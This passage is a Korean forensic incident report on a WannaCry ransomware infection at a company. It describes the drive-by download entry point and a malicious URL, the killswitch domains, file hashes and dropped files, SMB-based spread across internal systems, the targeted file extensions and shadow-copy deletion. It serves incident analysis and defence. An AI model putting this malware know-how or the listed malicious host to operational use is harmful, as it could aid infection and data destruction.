융합산업 신규 취약점 심층 분석 부제 : 랜섬웨어(WannaCry) 감염 사례 2017. 12.
목 차 1. 개요 6 1.1. 배경및목적 6 1.2. 랜섬웨어 6 1.3. 국내외랜섬웨어사고현황 8 1.4. 용어정리 9 2. 랜섬웨어침해사고요약 12 2.1. 침해사고요약 12 2.1.1. 분석개요 12 2.1.2. 분석목표 12 2.1.3. 분석절차 12 2.1.4. 분석도구 12 2.2. 공격시나리오현황 13 2.2.1. 시스템별랜섬웨어감염현황 13 2.2.2. 랜섬웨어감염흐름 13 3. 랜섬웨어침해사고심층분석 15 3.1. 워너크라이랜섬웨어분석 15 3.1.1. 워너크라이랜섬웨어파일기본정보 15 3.1.2. 워너크라이랜섬웨어동작방식분석 16 3.1.3. 워너크라이랜섬웨어상세분석 17 3.2. 랜섬웨어침해사고사례분석 28 3.2.1. 침해사고분석대상정보 28 3.2.2. 분석대상 DISK#1 29 3.2.3. 분석대상 DISK#2, DISK#3 41 4. 랜섬웨어감염사례분석결과 47 4.1. 랜섬웨어유입및감염원인 47 4.1.1. 무분별한인터넷사용 47 4.1.2. 윈도우보안업데이트소홀 47 4.2. 랜섬웨어내부확산원인 47 4.2.1. 윈도우보안업데이트소홀 47 5. 대응방안 48 5.1. 사용자대응방안 48 5.1.1. 데이터백업 48 5.1.2. 어플리케이션보안업데이트 48 5.1.3. 윈도우업데이트 50 5.1.4. 사용자계정컨트롤설정 51-2 -
5.2. 기업관리자대응방안 52 5.2.1. 사내보안의식제고 52 5.2.2. 사고대응준비설정 53 5.2.3. YARA Rule 활용 58 6. 결론 60 별첨 #1. 워너크라이랜섬웨어 IOC 목록 61-3 -
표목차 [ 표 2-1] 분석절차 12 [ 표 2-2] 분석도구목록 12 [ 표 2-3] 시스템별랜섬웨어감염현황 13 [ 표 2-4] 분석결과요약 13 [ 표 3-1] 워너크라이파일 (lhdfrgui.exe) 정보 15 [ 표 3-2] 워너크라이파일 (tasksche.exe) 정보 15 [ 표 3-3] tasksche.exe가추가생성하는파일목록 21 [ 표 3-4] 랜섬웨어암호화대상확장자 22 [ 표 3-5] 암호화된파일내부구조 26 [ 표 3-6] 분석대상정보 DISK#1 28 [ 표 3-7] 분석대상정보 DISK#2 28 [ 표 3-8] 분석대상정보 DISK#3 28 [ 표 3-9] 분석대상정보 DISK#4 28 [ 표 3-10] 분석대상정보 DISK#1 29 [ 표 3-11] 유입흔적분석대상목록 DISK#1 29 [ 표 3-12] flower[1].html 30 [ 표 3-13] lhdfrgui.exe 파일정보 33 [ 표 3-14] 실행흔적분석대상목록 DISK#1 35 [ 표 3-15] 분석대상정보 DISK#2 41 [ 표 3-16] 분석대상정보 DISK#3 41 [ 표 3-17] 유입흔적분석대상목록 DISK#2 41 [ 표 3-18] 랜섬웨어파일정보 DISK#2 44 [ 표 3-19] 실행흔적분석대상목록 DISK#2 45-4 -
그림목차 [ 그림 1-1] 연간랜섬웨어감염피해 8 [ 그림 1-2] 월간랜섬웨어감염피해 8 [ 그림 2-1] 랜섬웨어감염흐름 14 [ 그림 3-1] 워너크라이랜섬웨어동작과정 16 [ 그림 3-2] 워너크라이 URL 접속코드 18 [ 그림 3-3] lhdfrgui.exe 서비스등록 19 [ 그림 3-4] tasksche.exe 서비스등록 20 [ 그림 3-5] tasksche.exe가추가생성하는파일 20 [ 그림 3-6] msg 폴더에추가생성된언어별랜섬노트파일 21 [ 그림 3-7] 추가생성된 Tor 네트워크관련파일 22 [ 그림 3-8] NIC 확인후내부네트워크접근 23 [ 그림 3-9] 무작위 IP 생성 23 [ 그림 3-10] 내부 / 외부네트워크접속시도 24 [ 그림 3-11] 워너크라이랜섬웨어암호화과정 24 [ 그림 3-12] 암호화된파일내부구조 25 [ 그림 3-13] 00000000.eky 파일내부구조 26 [ 그림 3-14] 볼륨섀도복사본삭제코드 27 [ 그림 3-15] 웹브라우저사용흔적 ( 악성 URL 접근 ) 30 [ 그림 3-16] CVE-2016-0189 시나리오 32 [ 그림 3-17] lhdfrgui.exe 파일 VirusTotal 질의 33 [ 그림 3-18] NTFS 파일시스템로그 & 저널로그확인 34 [ 그림 3-19] 랜섬웨어유입흐름 34 [ 그림 3-20] 워너크라이랜섬웨어실행결과 - 바탕화면 36 [ 그림 3-21] 워너크라이랜섬웨어실행결과 - 랜섬노트 36 [ 그림 3-22] 암호화된파일내부구조 37 [ 그림 3-23] 응용프로그램호환성캐시 38 [ 그림 3-24] RecentFileCache.bcf 파일내용 38 [ 그림 3-25] 랜섬웨어서비스등록화면 39 [ 그림 3-26] 이벤트로그 DISK#1 40 [ 그림 3-27] 바탕화면변조와랜섬노트 42 [ 그림 3-28] DISK#2에생성된랜섬웨어관련파일 43 [ 그림 3-29] 응용프로그램호환성캐시 DISK#2 45 [ 그림 3-30] 서비스등록 46 [ 그림 3-31] 자동실행등록 46-5 -
[ 그림 4-1] 업무용 PC에서의무분별한인터넷사용 DISK#1 47 [ 그림 5-1] 제어판 모든제어판항목 프로그램및기능 49 [ 그림 5-2] Flash Player, Java 업데이트 49 [ 그림 5-3] 업데이트설정 50 [ 그림 5-4] 사용자계정컨트롤설정 51 [ 그림 5-5] IOC 관리프로세스 55 [ 그림 5-6] OpenIOC Editor 실행화면 56 [ 그림 5-7] 침해지표작성예시 56-6 -
1. 개요 1.1. 배경및목적 2017년 5월, 워너크라이 (WannaCry) 사건은전세계모든뉴스일면을장식하며, 랜섬웨어역사의새로운획을그었다. 랜섬웨어는지난 10년간높은감염성을보여왔으며, 이제는전세계를대상으로하는사이버위협으로자리잡았다. 미국정부의통계에따르면 2005년부터랜섬웨어공격건은온라인데이터침해건을앞질렀으며, 사이버보안최고의문제로부상하였다. 이전까지의랜섬웨어공격규모는세계가주목할수준은아니었다. 하지만최근발생한워너크라이사태는전세계인들의이목을랜섬웨어로집중시키는계기가되었다. 워너크라이랜섬웨어는영국의국민건강보험공단 (NHS) 을비롯한세계주요공공기관들을감염시켰으며, 동시에전세계 30만대이상의컴퓨터들을감염시키면서, 전세계를떠들썩하게만들었다. 워너크라이사건은전세계가랜섬웨어를주목하게만든사건이며, 동시에앞으로다가올위협예측에있어서, 의미하는바가큰사건이었다. 랜섬웨어를배포하는악성코드는날로정교해져가며배포방법또한효율적인방법으로발전하고있다. 이러한흐름을바탕으로가까운미래에더욱심각한랜섬웨어공격이발생할수있다고예측하는것은어려운일이아닐것이다. 1.2. 랜섬웨어 랜섬웨어 (Ransomware) 는몸값을뜻하는 Ransom이라는단어와소프트웨어를의미하는 Software의합성어이다. 랜섬웨어는감염된사용자가자신의시스템에접근하지못하도록제한하거나, PC에저장된특정파일을암호화하여파일내용에접근하지못하도록한후이를허용하는대가로금전적대가를요구하는악성코드를의미한다. 최초의랜섬웨어는 1989년 조셉팝 (Joseph Popp) 이작성한 AIDS이다. 랜섬웨어는 1989년처음 조셉팝 에의해대칭형암호방식을사용하는형태로만들어졌고, 1996년 아담영 과 모티융 에의해공개키암호방식을사용하는형태로진화하였다. 제작자들은처음엔복호화가가능한 RSA알고리즘으로암호화하였지만, 많은복구및복원업체들이솔루션을만들어대응하자단방향암호화알고리즘으로랜섬웨어를제작하기시작하였다. - 7 -
그후 2012년 Reveton, CryptoLocker, TorrentLocker, Cryptowall 등의랜섬웨어가출현하게된다. 특히 2013년금품지불방식을디지털통화인비트코인 (Bitcoin) 으로요구하는 CryptoLocker가출현하였으며, 2014년에는 Synology의 NAS를대상으로하는 SynoLocker 등의출현으로또다시랜섬웨어에의한피해가급증하였다. 2017년 5월 12일, 워너크라이 (WannaCry) 라고알려진랜섬웨어바이러스가스페인에서첫공격을개시했다. 첫공격후몇시간지나지않아수십개국의컴퓨터가같은바이러스에감염되었다. 이후, 며칠지나지않아감염된컴퓨터의수는 25억여대를기록하며워너크라이는역사상가장큰규모의랜섬웨어공격으로전세계를주저앉혔다. 워너크라이는워너크립트 (WannaCrypt) 의약어로이름에서유추할수있듯크립토웨어 (CryptoWare) 이다. 크립토웜 (CryptoWorm) 에더가까운이랜섬웨어는스스로복제및전파가가능하였다. 이런이유로워너크라이는급속도로퍼져나갔으며, 특히큰조직체의시스템을공격하는데매우효과적이었다. 워너트라이는금융기관, 교통당국, 교육기관, 영국의국민보건서비스 (NHS) 등분야를가리지않고공격을성공시켰으며, 각종뉴스의일면을장식하게되었다. 무엇보다충격적인사실은워너크라이가이용한윈도우의취약점이이미수년전미안보국 (NSA) 에서인지하고있었던취약점이었다는것이다. 해당취약점은 2017년 4월 14일에해킹그룹인쉐도우브로커 (Shadow Brokers) 에의해공개되었으며, 워너크라이는해당공격도구중 SMB(Server Message Block) 프로토콜의취약점을이용한이터널블루 (Eternal Blue) 를활용하여랜섬웨어의전파에이용한것으로확인되었다. 2017 년 10 월말부터러시아, 유럽을중심으로확산되고있는배드래빗 (Bad Rabbit) 랜섬웨어또한이터널로맨스 (EternalRomance) 라는이름의 NSA 해킹도 구를활용한것으로확인되었다. 랜섬웨어공격은 2015 년부터지속적으로 30 만건이상의감염피해를발생시 켜왔으며, 2016 년약 47 만건, 올해상반기약 31 만건의감염사례가발생시킨 것으로확인되었다. - 8 -
현재공격파급력및피해규모가컸던랜섬웨어와유사한형태 ( 시스템암호화방식, 무력화방식, 감염및확산방식등 ) 의악성프로그램이다량으로생산되어배포되고있다. 이러한상황들을고려하였을때, 효과적이고실효성이높은대책이요구되는상황이다. 1.3. 국내외랜섬웨어사고현황 한국랜섬웨어침해대응센터에따르면센터에신고된피해건수, 랜섬웨어방어보안회사의신고접수건수, 관련정부기관신고건수및복구대행업체에의뢰한복구건수정보를통해분석해볼때, 2015년도에는약 53,000명이감염되어 1,090억원의피해를입혔고, 30억원정도의비트코인이해커에게지급된것으로추정된다고한다. 또한 2016년에는 13만명감염, 3,000억원정도피해가발생했고, 13만명피해자중최소 10% 인 13,000명이 100억원이상의비트코인을지급한것으로추정되고있다고한다. 2016년해커에게지급된비트코인은작년국내비트코인거래규모인 6천 5백억원의약 1.5% 에해당하는금액이다. [ 그림 1-1] 연간랜섬웨어감염피해 ( 출처 : 2017 시만텍랜섬웨어리포트 ) [ 그림 1-2] 월간랜섬웨어감염피해 ( 출처 : 2017 시만텍랜섬웨어리포트 ) - 9 -
1.4. 용어정리 Ÿ 랜섬웨어컴퓨터시스템을감염시켜접근을제한하고일종의몸값을요구하는악성소프트웨어의한종류이다. 컴퓨터및데이터로의접근제한을없애려면해당악성프로그램개발자에게비용지불을강요받게된다. 이때데이터가암호화되는랜섬웨어가있는반면, 어떤것은시스템을잠그고사용자가지불하게만들기위한안내문구를띄운다. 최근전세계적인랜섬웨어를통한대량해킹은인터넷세계의사이버아마겟돈으로불리어진다. Ÿ 워너크라이 (Wannacry), 워너크립트 (WannaCrypt) 2017년 5월 12일부터등장한랜섬웨어멀웨어툴이다. 2017년 5월 12일부터대규모사이버공격을통해널리배포되었으며, 전세계 99개국의컴퓨터 12만대이상을감염시켰다. 감염된컴퓨터로는 20개의언어로비트코인을지급하면풀어주겠다는메시지를띄웠다. Ÿ RSA 암호공개키암호시스템의하나로, 암호화뿐만아니라전자서명이가능한최초의알고리즘으로알려져있다. 1978년로널드라이베스트 (Ron Rivest), 아디샤미르 (Adi Shamir), 레너드애들먼 (Leonard Adleman) 의연구에의해체계화되었으며, RSA라는이름은이들 3명의이름앞글자를딴것이다. RSA가갖는전자서명기능은인증을요구하는전자상거래등에광범위하게활용되었다. Ÿ AES (Advanced Encryption Standard) 암호 2001년미국표준기술연구소 (NIST) 에의해제정된암호화방식이다. AES는두명의벨기에암호학자인존대먼과빈센트라이먼에의해개발된 Rijndael( 레인달 ) 에기반하며 AES 공모전에서선정되었다. Ÿ 비트코인비트코인은블록체인기술을기반으로만들어진온라인가상화폐이다. 비트코인의화폐단위는 BTC로표시한다. 2008년 10월나카모토라는가명을쓰는익명의개발자또는그룹이개발하여, 2009년 1월프로그램소스를배포했다. 중앙은행이없이전세계적범위에서 P2P 방식으로개인들간에자유롭게송금등의금융거래를할수있게설계되어있다. - 10 -
Ÿ 드라이브바이다운로드 (Drive-by Download) 사용자가웹사이트에방문하는자체만으로도사용자모르게악성코드가다운 로드되는사이버공격방법가운데하나이다. Ÿ CVE 취약점 CVE(Common Vulnerabilities and Exposure) 는공개적으로알려진소프트웨어 의보안취약점을가리키는고유표기를뜻한다. Ÿ 해쉬 (Message-Digest Algorithm 5) 는 128비트암호화해시함수이다. RFC 1321로지정되어있으며, 주로프로그램이나파일이원본그대로인지를확인하는무결성검사등에사용된다. 1991년에로널드라이베스트가예전에쓰이던 MD4를대체하기위해고안했다. Ÿ SHA 해쉬 SHA(Secure Hash Algorithm, 안전한해시알고리즘 ) 함수들은서로관련된암호학적해시함수들의모음이다. 이들함수는미국국가안보국 (NSA) 이 1993년에처음으로설계했으며미국국가표준으로지정되었다. Ÿ 멀버타이징 (Malvertising) 멀버타이징 (Malvertising) 은 Malicious Advertising의줄임말로온라인광고를통해악성코드 (Malware) 를유포시키는행위를일컫는신조어이다. 방문자가많은사이트의배너광고등에여러가지교묘한방법을통해악성코드설치를유도하는것으로일반사용자는믿을수있는사이트의광고또한안전하다고인식하는심리적맹점을이용한방식이다. Ÿ 사용자계정컨트롤 (User Account Control) 마이크로소프트의윈도우비스타운영체제에서처음선보인보안기술이다. 특정어플리케이션이실행될때관리자권한을필요로하는경우이를허용할지여부를사용자에게묻는보안기술이다. Ÿ 침해지표 (IOC) 여러침해사고의흔적들을일정한포맷으로정리해놓은문서또는파일을의 미한다. - 11 -
Ÿ SMB(Server Message Block) 서버메시지블록 (Server Message Block, SMB) 은도스나윈도우에서파일이나디렉터리및주변장치들을공유하는데사용되는메시지형식이다. NetBIOS는 SMB 형식에기반을두고있으며, 많은네트워크제품들도 SMB를사용한다. 이러한 SMB 기반의네트워크에는랜매니저, 윈도우포워크그룹 (Windows for Workgroups), 윈도우 NT, 그리고랜서버 (Lan Server) 등이있다. 서로다른운영체제사이에파일을공유할수있도록하기위해 SMB를사용하는제품들도많이있다. 그중하나가삼바인데, 유닉스와윈도우컴퓨터들간에디렉터리와파일을공유할수있게해준다. Ÿ 아티팩트 (Artifacts) 디지털포렌식이나침해사고분석관점에서의아티팩트는운영체제나애플리케이션을사용하면서생성되는흔적을의미한다. 가령사용자가시스템에로그온했을때그결과로작성되는시스템로그파일따위가이에속한다. Ÿ Tor 온라인상에서의익명을보장하고검열을피할수있게해주는자유소프트웨어로미국해군연구소에서최초로시작하여현재는 EFF 프로젝트에서관리되고있다. EFF는 2005년 11월까지 Tor를재정적으로지원하였고, 현재도웹호스팅을지원하고있다. Ÿ YARA Rule YARA는악성코드샘플에포함된패턴을이용해특성과행위를기준으로악성파일을분류하는데사용되는도구이다. YARA가악성코드를식별하기위해사용되는 Rule을 YARA Rule이라고한다. Ÿ 킬스위치 (Killswitch) 킬스위치는특정제품이나소프트웨어의동작을중지시키는장치를의미한다. 가령라인센스기간이만료된소프트웨어의경우킬스위치가동작하여해당소프트웨어의동작을멈출수있는것을예로들수있다. - 12 -
2. 랜섬웨어침해사고요약 2.1. 침해사고요약 2.1.1. 분석개요 XX 기업에서발생한 워너크라이랜섬웨어감염사고 ( 이하감염사고 ) 에대한분석결과로서, 제공받은업무용데스크톱 3대에장착된디스크를대상으로분석한결과가작성되었다. 2.1.2. 분석목표 2017 년 10 월 21 일오후 2:00:27 에발생한랜섬웨어감염사고에대한발생원인 규명을분석목표로한다. 2.1.3. 분석절차 #1 #2 #3 #4 #5 #6 수집 추출 유입경로내부전파악성코드분석분석분석 보고서작성 [ 표 2-1] 분석절차 2.1.4. 분석도구 도구명버전분류 EnCase 7 Commercial WinHex 15.8 Commercial FTK Imager 3.4.2.6 Free WEFA 1.51 Free REGA 1.5.0.4 Free sbag64 0.50 Free EventLog Explorer 4.5 Commercial/Free VSCToolset 20140216 Free lnkanalyser 1.0.1 Free WinPrefetchView 1.35 Free CrowdResponse64 1.0.6.0 Free ShimCacheParser 1.0 Free Bintext 3.0.3 Free Plaso 1.5.1 Free NTFS Log Tracker 1.41 Free IOC Editor 2.2.0.0 Free [ 표 2-2] 분석도구목록 - 13 -
2.2. 공격시나리오현황 2.2.1. 시스템별랜섬웨어감염현황총 4대의시스템중랜섬웨어에의해파일이암호화된시스템은총 3대이다. 그중외부에서랜섬웨어가최초로유입된시스템은 DISK#01 시스템으로확인되었다. 나머지시스템 (DISK#2, DISK#3) 에서는외부에서랜섬웨어가유입된흔적은확인되지않았지만, 해당시스템에저장된파일이랜섬웨어에감염되어암호화된것은확인되었다. 해당내용은아래표에서자세하게확인할수있다. 분석대상파일감염여부랜섬웨어감염경로 DISK#1 총 1707 개파일암호화됨 ( 삭제된파일포함 ) 외부유입및실행흔적확인됨 DISK#2,#3 총 2403 개파일암호화됨내부전파및실행흔적확인됨 DISK#4 암호화된파일발견되지않음유입및전파흔적확인되지않음 [ 표 2-3] 시스템별랜섬웨어감염현황 2.2.2. 랜섬웨어감염흐름 DISK#01 시스템에서는외부인터넷을통해랜섬웨어가유입된것으로확인된다. 이는드라이브바이다운로드 (Drive-by Download) 공격을통해유입된것으로확인된다. 최초랜섬웨어가유입된 DISK#01 시스템을기점으로내부네트워크에위치한다른시스템들도감염된것으로확인되며, SMB 취약점을활용하여확산된것으로확인된다. 분류유입흔적확인실행흔적확인전파흔적확인 설명 Ÿ 2017년 10월 21일오후 1:57:36에 DISK#01에 lhdfrgui.exe라는파일명으로유입 Ÿ http://58.17.34.44/flower.html을통해드라이브바이다운로드 (Drive by Download) 로유입 Ÿ DISK#1 시스템에저장된다수의파일이암호화되었음 Ÿ 암호화된파일의확장자가 WNCRY로변경되어있음 Ÿ 서비스에랜섬웨어가등록되어있는것을확인함 Ÿ 다양한윈도우아티팩트를통해실행여부를확인할수있음 Ÿ 최초감염시스템인 DISK#1을랜섬웨어는내부네트워크에있는다른시스템에전파 Ÿ 내부네트워크에있는시스템에접근하기위해 SMB 취약점을이용한 - 14 -
랜섬웨어 파일분석 타임라인 것으로확인 Ÿ taskche.exe 파일생성 Ÿ lhdfrgui.exe 파일은웜행위로감염시도 Ÿ mssecsv2.0 서비스생성 Ÿ 감염된시스템의 IP 주소확인후동일한서브넷 (Subnet) 에있는각 IP 주소의 TCP 445 포트에연결시도 Ÿ 악성코드가시스템에성공적으로연결되면데이터전송 (SMB 취약점이용 ) Ÿ taskche.exe 파일실행되며암호화진행 Ÿ 토르 (Tor) 를사용해네트워크연결시작 Ÿ 랜섬웨어는복원을못하도록쉐도우카피영역데이터를지움 (WMIC.exe, vssadmin.exe, cmd.exe 를사용해작업수행 ) kik.kin.com/ico 접속 58.17.34.44/flower.html lhdfrgui.exe 다운로드 tasksche.exe 생성 서비스등록 파일암호화 스캐닝 lhdfrgui.exe 전파 원격시스템랜섬웨어감염 [ 표 2-4] 분석결과요약 랜섬웨어유입, 감염된흐름은아래그림에서확인할수있다. [ 그림 2-1] 랜섬웨어감염흐름 - 15 -
3. 랜섬웨어침해사고심층분석 3.1. 워너크라이랜섬웨어분석 3.1.1. 워너크라이랜섬웨어파일기본정보 분석대상시스템에서발견된워너크라이관련파일은총두개로확인되었 다. 각파일에대한기본정보는아래표에서확인할수있다. 파일명 저장경로 lhdfrgui.exe C:\ProgramData\Microsoft\WPD 파일크기 3,723,264 파일유형 해쉬 SHA-1 해쉬 ssdeep 주요기능 Windows Executable d5dcd28612f4d6ffca0cfeaefd606bcf cf60fa60d2f461dddfdfcebf16368e6b539cd9ba 98304:whqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2g3R:whqPe1 Cxcxk3ZAEUadzR8yc4gB - 특정 URL 에접근하여실행여부를결정 ( 킬스위치확인 ) - 워너크라이랜섬웨어추가감염수행 - taskche.exe 파일생성 [ 표 3-1] 워너크라이파일 (lhdfrgui.exe) 정보 파일명 저장경로 tasksche.exe C:\ProgramData\tipnttbg092\ C:\ProgramData\tipnttbg092\tasksche.exe 파일크기 3,514,368 파일유형 해쉬 SHA-1 해쉬 ssdeep 주요기능 Windows Executable 84c82835a5d21bbcf75a61706d8ab549 5ff465afaabcbf0150d1a3ab2c2e74f3a4426467 98304:QqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2g3x:QqPe1Cx cxk3zaeuadzr8yc4gb - 파일암호화에필요한추가파일생성 - 파일암호화수행 - 주기적으로랜섬노트실행 [ 표 3-2] 워너크라이파일 (tasksche.exe) 정보 - 16 -
3.1.2. 워너크라이랜섬웨어동작방식분석 다음은워너크라이랜섬웨어동작과정을도식화한것이다. [ 그림 3-1] 워너크라이랜섬웨어동작과정 ( 출처 : 안랩시큐리티대응센터분석팀 ) 워너크라이랜섬웨어가실행되면다음과같은동작을수행한다. Ÿ 특정 URL 접속여부확인 Ÿ 악성파일추가생성 Ÿ 서비스등록 Ÿ 로컬 IP 대역및랜덤 IP 대상 SMB 취약점공격수행 Ÿ 추가감염수행 위과정이모두완료되면감염시스템에저장된특정파일이암호화되어접근이불가하게되고, 파일접근을허용해주는조건으로비트코인을이용한금전지급을요구하게된다. 또한 SMB 취약점을통해내부네트워크에위치한원격시스템을추가감염시키게된다. - 17 -
3.1.3. 워너크라이랜섬웨어상세분석최근발생되는대부분의악성코드감염사례는이메일첨부파일 ( 스피어피싱메일 ) 이나취약한홈페이지방문시감염 ( 드라이브바이다운로드 ) 된다. 추가적으로워너크라이랜섬웨어는윈도우취약점 (MS17-010, SMB 원격코드실행취약점 ) 을이용해서유포되며, 관련보안업데이트가적용되지않은윈도우시스템의경우, 인터넷만연결되어있어도감염이가능하였기때문에피해가급증하였다. 다음은위에서언급한 SMB 취약점이적용되는운영체제목록이다. Ÿ Microsoft Windows Vista Service Pack 2 Ÿ Microsoft Windows Vista x64 Edition Service Pack 2 Ÿ Microsoft Windows Server 2008 for 32-bit Systems SP2 Ÿ Microsoft Windows Server 2008 for x64-based Systems SP2 Ÿ Microsoft Windows Server 2008 for Itanium-based Systems SP2 Ÿ Microsoft Windows 7 for 32-bit Systems SP1 Ÿ Microsoft Windows 7 for x64-based Systems SP1 Ÿ Microsoft Windows Server 2008 R2 for x64-based Systems SP1 Ÿ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1 Ÿ Microsoft Windows 8.1 for 32-bit Systems Ÿ Microsoft Windows 8.1 for x64-based Systems Ÿ Microsoft Windows Server 2012 Ÿ Microsoft Windows Server 2012 R2 Ÿ Microsoft Windows RT 8.1 Ÿ Microsoft Windows 10 for 32-bit Systems Ÿ Microsoft Windows 10 for x64-based Systems Ÿ Microsoft Windows 10 version 1511 for 32-bit Systems Ÿ Microsoft Windows 10 version 1511 for x64-based Systems Ÿ Microsoft Windows 10 Version 1607 for 32-bit Systems Ÿ Microsoft Windows 10 Version 1607 for x64-based Systems Ÿ Microsoft Windows Server 2016 for x64-based Systems Windows 10 버전은앞서언급한 SMB 취약점은존재하나워너크라이랜섬웨 어의공격대상은아니다. - 18 -
다음은워너크라이랜섬웨어유포와관련된 SMB 취약점정보이다. Ÿ Windows SMB 원격코드실행취약점 (CVE-2017-0143) Ÿ Windows SMB 원격코드실행취약점 (CVE-2017-0144) Ÿ Windows SMB 원격코드실행취약점 (CVE-2017-0145) Ÿ Windows SMB 원격코드실행취약점 (CVE-2017-0146) Ÿ Windows SMB 정보유출취약점 (CVE-2017-0147) Ÿ Windows SMB 원격코드실행취약점 (CVE-2017-0148) 위에서언급한운영체제버전중보안업데이트가적용되지않은운영체제는 Windows SMB 원격코드실행취약점이적용될수있다. 워너크라이랜섬웨어가실행되면특정 URL로접속을시도한다. 이런작업은샌드박스분석과같은가상환경에서의행위기반탐지를우회하기위한목적으로확인된다. 워너크라이랜섬웨어는해당 URL에접속이실패할경우에컴퓨터에저장된파일에대한암호화작업을수행한다. 접속을시도하는 URL 정보는다음과같다. Ÿ http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com Ÿ http://www.ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com 다음은 URL 접속여부를확인하는실행코드를확인할수있는그림이다. [ 그림 3-2] 워너크라이 URL 접속코드 위와같이특정 URL 에접속을시도하여접속성공시프로세스를종료시킨다. 해당도메인은 WannaCry 랜섬웨어의킬스위치 (Killswitch) 역할을하고있으며, 발견초기에도메인이등록되어악성코드의확산이차단되었다. - 19 -
URL 접속여부확인이끝나면워너크라이랜섬웨어프로세스가동작하게되고 감염시스템에악성파일 (taskche.exe) 을추가생성한후실행한다. 또한시스템이 재부팅되더라도프로세스가시작될수있도록자기자신을서비스에등록한다. [ 그림 3-3] lhdfrgui.exe 서비스등록 위과정이완료된후시스템에랜섬웨어감염을위한파일을추가한다. 추가 생성되는파일은다음과같다. Ÿ Ÿ Ÿ Ÿ C:\ProgramData\[Random]\tasksche.exe C:\Intel\[Random]\tasksche.exe C:\Windows\tasksche.exe C:\User\[ 사용자명 ]\AppData\Local\Temp\[Random]\tasksche.exe 이후서비스로동작하면서동일한경로에악성파일을추가로생성하고파일 속성을 숨김 으로설정한다. - 20 -
[ 그림 3-4] tasksche.exe 서비스등록 [ 그림 3-5] tasksche.exe 가추가생성하는파일 - 21 -
각파일에대한정보는아래표에서확인할수있다. 파일명 b.wnry c.wnry f.wnry r.wnry s.wnry t.wnry u.wnry taskdl.exe taskse.exe 00000000.pky 00000000.eky 설명파일암호화후바탕화면으로설정되는이미지파일 tor 관련설정파일 ( 접속 URL, 다운로드 URL) 샘플로복호화할파일목록저장 readme.txt tor 모듈 ZIP 압축파일암호화된암호화모듈비트코인결재를유도하는 @WanaDecryptor@.exe 프로그램과동일한파일암호화모듈에서사용하는내부프로그램암호화모듈에서사용하는내부프로그램공개키파일암호화된개인키파일 [ 표 3-3] tasksche.exe 가추가생성하는파일목록 위에서확인한추가악성파일이생성되는경로와동일한경로에 msg라는폴더와 TaskData라는이름의폴더가생성된다. msg 폴더에는각언어별랜섬노트파일이생성되며, TaskData 폴더에는토르 (Tor) 네트워크관련파일을생성한다. 다음은 msg 폴더에생성되는파일목록을감염시스템에서확인한화면이다. [ 그림 3-6] msg 폴더에추가생성된언어별랜섬노트파일 각언어별랜섬노트가작성된것으로미루어볼때랜섬웨어제작자는최대한 많은국가에랜섬웨어를감염시킬목적으로제작한것이라고추측할수있다. - 22 -
토르네트워크관련파일은온라인거래시추적을어렵게하기위해온라인 상에서익명을보장하는토르네트워크를이용하기위해서, 해당파일을생성한 것으로확인된다. [ 그림 3-7] 추가생성된 Tor 네트워크관련파일 위와같은동작을완료한후워너크라이랜섬웨어는시스템에저장된특정파일을암호화하게된다. 암호화대상은파일의확장자로식별하며, 암호화대상에해당하는파일은암호화한후 WNCRY라는확장자를추가한다. 암호화대상이되는파일확장자는아래표와같다..123,.3dm,.3ds,.3g2,.3gp,.602,.accdb,.aes,.ARC,.asc,.asf,.asm,.asp,.avi,.backup,.bak,.bat,.bmp,.brd,.bz2,.cgm,.class,.cmd,.cpp,.crt,.csr,.csv,.dbf,.dch,.der,.dif,.dip,.djvu,.doc,.docb,.docm,.docx,.dot,.dotm,.dotx,.dwg,.edb,.eml,.fla,.flv,.frm,.gif,.gpg,.hwp,.ibd,.iso,.jar,.java,.jpeg,.jpg,.jsp,.key,.lay,.lay6,.ldf,.m3u,.m4u,.max,.mdb,.mdf,.mid,.mkv,.mml,.mov,.mp3,.mp4,.mpeg,.mpg,.msg,.myd,.myi,.nef,.odb,.odg,.odp,.ods,.odt,.onetoc2,.ost,.otg,.otp,.ots,.ott,.p12,.PAQ,.pas,.pdf,.pem,.pfx,.php,.png,.pot,.potm,.potx,.ppam,.pps,.ppsm,.ppsx,.ppt,.pptm,.pptx,.ps1,.psd,.pst,.rar,.raw,.rtf,.sch,.sldm,.sldx,.slk,.sln,.snt,.sql,.sqlite3,.sqlitedb,.stc,.std,.sti,.stw,.suo,.svg,.swf,.sxc,.sxd,.sxi,.sxm,.sxw,.tar,.tbk,.tgz,.tif,.tiff,.txt,.uop,.uot,.vbs,.vcd,.vdi,.vmdk,.vmx,.vob,.vsd,.vsdx,.wav,.wb2,.wk1,.wks,.wma,.wmv,.xlc,.xlm,.xls,.xlsb,.xlsm,.xlsx,.xlt,.xltm,.xltx,.xlw,.zip [ 표 3-4] 랜섬웨어암호화대상확장자 위와같이파일을암호화한후바탕화면을변경하고랜섬노트를노출시켜비 트코인을이용한온라인거래를유도한다. 사용자가랜섬노트를종료시키더라도 30 초단위로다시활성화하여사용자에게노출되도록한다. - 23 -
앞서언급했던등록된서비스 (lhdfrgui.exe) 는 SMB 취약점을이용하여랜섬웨 어를자체적으로전파하는루틴을수행하게된다. 해당과정은다음과같다. 1 감염시스템에장착된 NIC 정보를확인한다. [ 그림 3-8] NIC 확인후내부네트워크접근 2 감염시스템의네트워크대역 IP 및랜덤으로생성한 IP 대역을대상으로취 약점이존재하는지확인한다. [ 그림 3-9] 무작위 IP 생성 - 24 -
3 내부네트워크와무작위로작성한 IP 주소를대상으로접속을시도한다. [ 그림 3-10] 내부 / 외부네트워크접속시도 워너크라이랜섬웨어는자신이생성한 tasksche.exe 파일을이용하여암호화모듈인 t.wnry 파일을복호화하고이를자신의메모리에로드하여암호화를진행한다. 자세한암호화과정은아래그림에서확인할수있다. [ 그림 3-11] 워너크라이랜섬웨어암호화과정 ( 출처 : 안랩시큐리티대응센터분석팀 ) - 25 -
